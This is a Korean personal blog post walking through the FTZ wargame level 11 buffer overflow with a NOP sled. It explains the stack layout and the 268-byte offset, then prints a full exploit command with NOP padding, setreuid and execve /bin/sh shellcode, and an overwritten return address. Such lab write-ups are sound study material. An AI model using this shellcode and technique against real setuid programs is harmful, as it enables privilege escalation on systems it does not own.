일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- Error:error:0308010C:digital envelope routines::unsupported
- 설치완료안됨
- AWS CodePipeline
- GeoJSON object too complex/large
- C언어
- node
- AWS
- 이미지 맵
- NODE_VERSION
- ERR_PNPM_NO_GLOBAL_BIN_DIR
- netlify variables
- CSS
- aws ec2
- 김골라
- rwdImageMaps
- expo
- S3
- can't getting credentials
- 반응형 페이지 좌표 변환
- react
- EC2
- SASS
- 이미지 좌표 추출
- nodejs
- Sequelize Error: Dialect needs to be explicitly supplied as of v4.0.0
- Unable to find the global bin directory
- ogr2ogr
- credential error
- 어셈블리어
- AWS CodeBuild
- Today
- Total
ImFe's study
FTZ level 11 풀이 - 2 - NOPsled 본문
열심히 FTZ level11을 풀기위해 노력했지만 생각한 방식으로는 안된다는걸 알았습니다. (보안기법이나 메모리가 계속 바뀐다던가)
또한 strcpy를 이용하여 푸는 풀이보다는 argv[1]를 이용한 풀이가 압도적으로 많았습니다.
전에 했던 실패한 풀이는 그냥 gdb를 이용해 브레이크 포인트를 걸거나, 버퍼에 더미값을 넣어 파악하는것을 돕는다던지 그러한 방식들을 시도해본것에 의의를 두고 다른 방식으로 풀어보려합니다.
============================================================================
NOPsled의 Nop은 No operation으로써 무작동을 의미합니다.
Sled는 썰매라는 뜻입니다.
CPU는 Nop이라는 데이터를 만나게 되면 할 일이 없다고 판단하고 다음 메모리의 데이터를 읽어서 처리합니다.
전 글에서
EBP - str[256]의 주소 + 4(EBP랑 RET는 1칸(4바이트)차이)
bfffea48 - bfffe940 + 4 = 10C = 268 임을 알 수 있었는데요.
이러한 점을 이용해 268(dec)에서 쉘코드가 차지하는 영역을 뺀 모든 영역을 Nop으로 채우고 마지막에 쉘코드를 넣으면 CPU가 Nop을 타고 명령어를 찾으면서 쭉 지나치다가 쉘코드를 발견하고 실행시킬수도 있을것같습니다.
(Nop은 ASCII코드로 \x90입니다.)
낮은주소
STR[256] = 256bytes |
dummy = 8bytes |
SFP = 4bytes |
RET = 4bytes |
높은주소
대략적인 스택 구조입니다. dummy값에 해당하는 8바이트는 컴파일러가 임의로 지정하는거라네요.
r`python -c 'print "A"*256'`으로 argv[1]에 A라는 문자를 채워줍니다.
그리고나서 x\2000x $esp 를 해주면
41(A)값이 어디서부터 시작되는지 확인할 수 있습니다.
=>0xbffffb9c
리틀엔디안방식으로=>\x9c\xfb\xff\xbf
홈 디렉토리로 돌아간 후
./attackme `python -c 'print "\x90"*227+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x9c\xfb\xff\xbf"'`
를 입력해줍시다. ./attackme `python -c 'print "\x..입니다 프린트 뒤에 띄워쓰기있습니다.
성공
'FTZ' 카테고리의 다른 글
FTZ level 11 풀이 -3- 환경변수 (0) | 2020.04.28 |
---|---|
버퍼 오버플로우 왕기초편 - 무임승차 문제 (0) | 2020.04.24 |
FTZ level11풀이-1 (0) | 2020.04.12 |
레지스터(register)란? (0) | 2020.04.07 |
어셈블리어 기초- 진법 체계 (0) | 2020.03.25 |